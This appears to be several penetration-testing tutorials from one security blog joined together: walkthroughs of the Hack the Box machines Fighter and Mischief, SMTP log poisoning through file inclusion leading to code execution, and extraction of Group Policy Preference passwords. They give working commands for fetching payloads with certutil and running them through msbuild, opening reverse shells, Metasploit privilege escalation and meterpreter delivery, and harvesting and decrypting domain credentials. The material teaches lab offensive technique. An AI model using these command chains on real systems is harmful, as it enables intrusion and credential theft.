Hack the Box: Fighter Walkthrough


Today we are going to solve another CTF challenge “Fighter”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of Fighter is 10.10.10.72
Penetrating Methodology
·        Network scanning (Nmap)
·        Browsing IP address through HTTP
·        Adding Domain name to /etc/hosts
·        Bruteforcing subdomains
·        Adding new domain name to /etc/hosts
·        RCE using SQL injection
·        Upgrading shell to meterpreter session
·        Finding vulnerable service
·        Editing Exploit to bypass OS check
·        Finding root.exe
·        Reversing program to find the password
·        Creating a C-program to find the password
·        Getting root flag
Walkthrough
Let’s start off with our basic nmap command to find out the open ports and services.
nmap -sV -sC -T4 10.10.10.72
The Nmap output shows us that there is only 1 port open: 80(HTTP)
We find that port 80 is running http, so we open the IP in our browser.
In the homepage we find a Domain name “streetfighterclub.htb”. We add the domain to our /etc/hosts file.
We don’t find anything new on the webpage, but further looking into the webpage we find that there might be subdomains available that will give us more clues. We intercept the request and send it to intruder. We select where we want to brute force the request.
We select the wordlist, we use namelist.txt located in /usr/share/dnsrecon/.
After bruteforcing we find a subdomain called “members.streetfighterclub.htb” that gave HTTP code 403.
We add the subdomain in /etc/hosts so that we can access the web site.
We open the webpage and got a 403 Forbidden error.
We now run dirb scan on the members.streetfighter.htb and find a directory called “old”.
dirb http://members.streetfighterclub.htb/
We then find webpages inside that directory. As we know that it is IIS server we find “asp” files on the web server and find a page called “login.asp”.
We open the web page and find a login page.
We enumerate the webpage and find that the web application is vulnerable to SQL injection.  We find username, password and e-mail but were unable to login. So we tried command injection using SQL injection. We referred this link.
We setup our listener and got a reverse shell.
nc -lvp 80
We are not able to find anything on the target machine. So we try to convert our shell into meterpreter but are unable to run any exe file. So there was a firewall that didn’t allow us to run any exe file. We got a reference through this link on how to bypass this. We use the nps payload to create a XML file that will contain our payload (download from here).
We move into “c:\users\sqlserv” as we have a shell as user sqlserv.
We run the command provided by npc payload to start our listener.
msfconsole -r msbuild_nps.rc
We start our python HTTP Server to send our file to the target machine.
python -m SimpleHTTPServer 80
We download the file using certutil.exe on the target machine.
certutil.exe -urlcache -split -f http://10.10.14.3/msbuild_nps.xml msbuild_nps.xml
We then run the XML file we uploaded using msbuild.exe.
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe msbuild_nps.xml
As soon as we run the file we get a meterpreter session. As we can see by running sysinfo we have 32-bit meterpreter session on a 64-bit machine.
To convert it into 64-bit session, we check the processes and find the 64-bit running process. We then migrate our process to a 64-bit process and get a 64-bit session.
meterpreter > ps
meterpreter > migrate 2320
We still don’t find anything to escalate our privilege. As this machine on street fighter game we try to google street fighter exploit and find that street fighter 5 has privilege escalation vulnerability. We find that street fighter has a service called Capcom, so we check if street fighter 5 is installed on the target machine.
sc query capcom
We find this metasploit exploit here, we try to run it but are unable to get shell as it gave an error stating that the system was not vulnerable. So we make changes to the code and comment out the section where it checks the OS version.
Now we are successfully able to run the exploit.
msf > use exploit/windows/local/capcom_sys_exec
msf exploit(windows/local/capcom_sys_exec) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/capcom_sys_exec) > set lhost tun0
msf exploit(windows/local/capcom_sys_exec) > set lport 80
msf exploit(windows/local/capcom_sys_exec) > set session 2
msf exploit(windows/local/capcom_sys_exec)> run
When we check the uid we find that we are successfully able to get administrative rights.
We enumerate the directories to find the flags and inside “c:\users\decoder\Desktop”, we find a file called “user.txt”. When we take look at the content of the file we find our first flag.
We move into c:\users\Administratror\Desktop and find a file called “root.exe”. We run it and find that it asks for password. There is also a dll file called “checkdll.dll”, as the password might be checked using this dll file.
We download both the files into our system using meterpreter.
download root.exe /root/Desktop
download checkdll.dll /root/Desktop
We reverse engineer them using IDA and find that this program XOR’s 9 with each character of the variable aFmFeholH. Now analysing with IDA tells us that the variable contains “Fm`fEhO1}h”.
So we create a c program that XOR’s 9 with each character of “Fm`fEhO1}h”
We compile and run the file and get the the password to be “OdioLaFeta”.
When we provide the password to the root.exe we get our final flag.







SMTP Log Poisioning through LFI to Remote Code Exceution


Hello friends!! Today we will be discussing on SMTP log poisoning. But before getting in details, kindly read our previous articles for “SMTP Lab Set-Up” and Beginner Guide to File Inclusion Attack (LFI/RFI)” . Today you will see how we can exploit a web server by abusing SMTP services if the web server is vulnerable to local file Inclusion.

Let’s Start!!

With the help of Nmap, we scan for port 25 and as result it shows port 25 is open for SMTP service.
nmap –p25 192.168.1.107

This attack is truly based on Local file Inclusion attack; therefore I took help of our previous article where I Created a PHP file which will allow the user to include a file through file parameter.
As a result, you can observe that we are able to access /etc/passwd file of victim machine.



Now if you are able to access the mail.log file due to LFI, it means the mail.log has read and write permission and hence we can infect the log file by injecting malicious code.

Now let’s try to enumerate further and connect to the SMTP (25) port

telnet 192.168.1.107 25

As we can see, we got connected to the victim machine successfully. Now let’s try to send a mail via command line (CLI) of this machine and send the OS commands via “RCPT TO” option. Since the mail.log file generates log for every mail when we try to connect with web server. Taking advantage of this feature now I will send malicious PHP code as fake user and it will get added automatically in mail.log file as new log.

MAIL FROM:
RCPT TO:

Note : We can ignore the 501 5.1.3 Bad recipient address syntax server response as seen in the above screenshot because ideally the internal email program of the server (victim machine), is expecting us to input an email ID and not the OS commands.

As our goal is to inject php into the logs and this stage it is called log file poisoning and we can clearly see that details of mail.log as well as execute comment given through cmd; now execute ifconfig as cmd comment to verify network interface and confirm its result from inside the given screenshot.

192.168.1.107/lfi/lfi.php?file=/var/log/mail.log &c=ifconfig
But you can observe its output in its source code as shown in the below image:

This is called SMTP log poisoning and through such type of vulnerability we can easily take reverse shell of victim’s machine.
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvport  8888
msf exploit (web_delivery)>exploit

Copy the highlighted text shown in below window


Paste the above copied malicious code inside URL as shown in given image and execute it as command.

When above code gets execute you will get meterpreter session 1 of targeted web server.

msf exploit (web_delivery)>sessions 1
meterpreter> sysinfo

Hack the Box: Mischief Walkthrough


Today we are going to solve another CTF challenge “Mischief”. Mischief is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to their experience; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Easy
Task: To find user.txt and root.txt file
Penetration Methodologies
Scanning Network
·         TCP and UDP ports scanning (Nmap)
Enumeration
·         SNMP Service Enumeration (Nmap Script)
·         Obtain credential for port 3366 login
·         Identify IPv6 address (ENYX)
·         Scanning Ipv6 (Nmap)
Access Victim’s Shell
·         Abusing web server through Command Execution Panel
·         Obtain reverse Shell via ncat
·         Get user.txt flag
Privilege Escalation
·         Obtain root password from bash_history
·         Find root.txt flag

Scanning Network

Note: Since these labs are online available therefore they have a static IP. The IP of this lab is 10.10.10.92
Let’s start off with our nmap Aggressive scan to find out the open ports and services.

nmap –A 10.10.10.92

But as you can observe that here we didn’t obtain much information, therefore further I scan for UDP port and from its result we got port 161 is open for SNMP.

nmap –sU 10.10.10.92

Enumeration
Because we was knowing SNMP service is enable in the network, therefore I run nmap script command for snmp enumeration.
nmpa –p 161 –sC –sV –sU 10.10.10.92
Hmmm!! So here I found something very interesting and it looks like the login credential to be use as authentication for port 3366.

Let’s navigate to port 3366 in the web browser and enter the following credential.
Username: loki 
Password: godofmischiefisloki

Here, we were welcomed by following web page where it was holding another credential. Let’s dig out another way to utilize this credential for login.

We use a python script called Enyx to find the ipv6 address of the target machine. You can get the script from this link.
git clone https://github.com/trickster0/Enyx
python enyx.py 2c public 10.10.10.92

So as you can observe that we have enumerated IPv6 address of victim’s machine and further scan it using nmap command given below:
nmap -6

Hmmm!! So along with Port 22, this time it has also shown port 80 for HTTP services.

So we navigate to web browser and explore Target IPv6 address in the URL, it put a login page for command execution panel. So we try to login this page with the credential we found earlier but that wasn’t the valid credential.

Access Victim’s Shell

Further I try brute force for username and successfully get login with following combination:
Username: administrator
Password: trickeryanddeceit

Since it was Command Execution Panel where we can run arbitrary system commands, hence this was RCE which could be easily exploit and we can owned reverse shell of the target machine.

But before that, you must know Ipv6 address of your local machine for addressing your IP as listening IP.
For reverse shell, I use python reverse shell code from pentestmonkey, and modify lhost IP from our IPv6 address. Since it was both nodes belong to IPv6, therefore we need a listener which can establish reverse connection such as ncat, hence we start ncat listener on port 1234.


As soon we will execute the malicious python code, we will get reverse connection via ncat.
Great!! You can observe that, we have access of remote terminal and let’s try to find out user.txt file to complete our first task. We found the user.txt file in the /home/loki but unable to read it. Although, there was another interesting file “credentials” and here we found another credential.


As port 22 was running, therefore we connect to remote machine through ssh using following credential.
Username: loki 
Password: lokiisthebestnorsegod
And successfully found user.txt file this time as shown below.
Privilege Escalation

While exploring more, I found .bash_history file where I found one more credential for root user but loki doesn’t have permission to execute switch user command.
Therefore, we move back to www-data user shell to run switch user command and enter above password for root login, then try to find out root.txt file inside the root directory but there wasn’t any flag. Therefore with the help of find command we try to enumerate the path of root.txt.
find / -name root.txt
Booom!! We got the path of the root.txt file and as you can observe that we have successfully captured the last flag and finished this challenge.

Penetration Testing on Group Policy Preferences


Hello Friends!! You might be aware of Group Policy Preferences in Windows Server 2008 that allows system administrators to set up specific configurations. It can be used to create username and encrypted password on machines. But do you know, that a normal user can elevate privilege to local administrator and probably compromise the security of the entire domain because passwords in preference items are not secured.

Table of Content
§  What is Group Policy Preferences?
§  Why using GPP to create a user account is a bad Idea?
§  Lab Set-Up Requirement
§  Create an Account in Domain Controller with GPP
§  Exploiting Group Policy Preferences via Metasploit -I
§  Exploiting Group Policy Preferences via Metasploit -II
§  Gpp-Decrypt
§  GP3finder

What is Group Policy Preferences?
Group Policy preferences shortly term as GPP permit administrators to configure and install Windows and application settings that were previously unavailable using Group Policy. One of the most useful features of Group Policy Preferences (GPP) is the ability to store and moreover these policies can make all kinds of configuration changes to machines, like as:
§  Map drives
§  Create Local Users
§  Data Sources
§  Printer configuration
§  Registry Settings
§  Create/Update Services
§  Scheduled Tasks
§  Change local Administrator passwords

Why using GPP to create a user account is a bad Idea?
If you use Microsoft GPP to create a local administrator account, consider the safety consequences carefully. Since the password is stored in SYSVOL in a preferred item. SYSVOL is the domain-extensive share folder in the Active Directory accessed by all authenticated users.
All domain Group Policies are stored here: \\\SYSVOL\\Policies\
When a new GPP is created for the user or group account, it’ll interrelated with a Group.XML file created in SYSVOL with the relevant configuration information and the password is AES-256 bit encrypted. Therefore the password is not secure as all authenticated users have access to SYSVOL.

“In this article, we will be doing active directory penetration testing through Group Policy Preferences and try to steal store password from inside SYSVOL in multiple ways”.

Let’s Start!!

Lab Set-Up Requirement

§  Microsoft Windows Sever 2008 r2
§  Microsoft Windows 7/10 
§  Kali Linux

Create an Account in Domain Controller with GPP

On your Windows Server 2008, you need to create a new group policy object (GPO) under “Domain Controller” using Group Policy Management.


Now create a new user account by navigating to: Computer Configuration > Control Panel Settings > Local Users and Groups.
Then Right click in the “Local Users and Groups” option and select New > Local User.

Then you get an interface for new local user property where you can create a new user account.
As you can observe from the given below image, we had created an account for user “raaz”.

Don’t forget to update group policy configuration.

So as I had already discussed above, that, whenever a new gpp is created for the user or group account, it will associated with a Group.XML which is stored inside /SYSVOl.
From the image below, you can see the entire path that leads to the file Group.xml. As you can see, this xml file holds cpassword for user raaz within the property tags in plain text.


Exploiting Group Policy Preferences via Metasploit -I
As we know an authorized user can access SYSVOL and suppose I know the client machine credential, let say raj:Ignite@123 then with help of this I can exploit Group Policy Preference to get XML file. Metasploit auxiliary module lets you enumerates files from target domain controllers by connecting to SMB as rouge user.
This module enumerates files from target domain controllers and connects to them via SMB. It then looks for Group Policy Preference XML files containing local/domain user accounts and passwords and decrypts them using Microsofts public AES key. This module has been tested successfully on a Win2k8 R2 Domain Controller.
use auxiliary/scanner/smb/smb_enum_gpp
msf auxiliary(smb_enum_gpp) > set rhosts 192.168.1.103
msf auxiliary(smb_enum_gpp) > set smbuser raj
msf auxiliary(smb_enum_gpp) > set smbpass Ignite@123
msf auxiliary(smb_enum_gpp) > exploit

Hence you can observe, that it has dump the password:abcd@123 from inside Group.xml file for user raaz.



Exploiting Group Policy Preferences via Metasploit -II
Metasploit also provide a post exploit for enumerating cpassword, but for this you need to compromised target’s machine at least once and then you will be able to run below post exploit.

This module enumerates the victim machine's domain controller and connects to it via SMB. It then looks for Group Policy Preference XML files containing local user accounts and passwords and decrypts them using Microsofts public AES key. Cached Group Policy files may be found on end-user devices if the group policy object is deleted rather than unlinked.
use post/windows/gather/credentials/gpp
msf post(windows/gather/credentials/gpp) > set session 1
msf post(windows/gather/credentials/gpp) > exploit

From the given below image you can observe, it has been found cpassword twice from two different locations:
§  C:\ProgramData\Microsoft\Group Policy\History\{ EE416E94-7362-4587-9CEC-651656DB7538}\Machine\Preferences\Groups\Groups.xml
§  C:\Windows\SYSVOL\sysvol\Pentest.Local\Policies\{ EE416E94-7362-4587-9CEC-651656DB7538}\Machine\Preferences\Groups\Groups.xml

Gpp-Decrypt
Another method is to connect with target’s machine via SMB and try to access /SYSVOL with the help smbclient. Therefore execute its command to access shared directory via authorized account and then move to following path to get Group.xml file: SYSVOL\sysvol\Pentes.Local\Policies\{ EE416E94-7362-4587-9CEC-651656DB7538}\Machine\Preferences\Groups\Groups.xml
smbclient //192.168.1.103/SYSVOL -U raj


As you can observe that, we have successfully transfer Group.xml in our local machine. As this file holds cpassword, so now we need to decrypt it.


For decryption we use " gpp- decrypt" which is embedded in a simple ruby script in Kali Linux which decrypts a given GPP encrypted string.
Once you got access to Group.xml file, you can decrypt cpassword with the help of following syntax:
Syntax: gpp-decrypt
gpp-decrypt qRI/NPQtItGsMjwMkhF7ZDvK6n9KlOhBZ/XShO2IZ80

As a result, it dump password in plain text as shown below.
GP3finder
This is another script written in python for decrypting cpassword and you can download this tool from here.
Once you got access to Group.xml file, you can decrypt cpassword with the help of following syntax:

Syntax: gpp-decrypt
gp3finder.exe -D qRI/NPQtItGsMjwMkhF7ZDvK6n9KlOhBZ/XShO2IZ80

As a result, it dump password in plain text as shown below.


PowerShell Empire
This another framework just like Metasploit where you need to access low privilege shell. once you exploit target machine then use privesc/gpp module to extract password from inside Group.xml file.

This module Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.

aganets
usemodule privesc/gpp
execute


As a result, it dump password in plain text as shown below.


Windows Powsershell

There is another method to retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences locally with the help of powersploit “Get-GPPPaswword”. You can download the module from here, it is a pwoershell script which you need
Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
Now run the following command in the powershell:
Import-Module .\Get-GPPPassword.ps1
Get-GPPPassword
As result you can observe that, it has dump the saved password from inside group.xml file.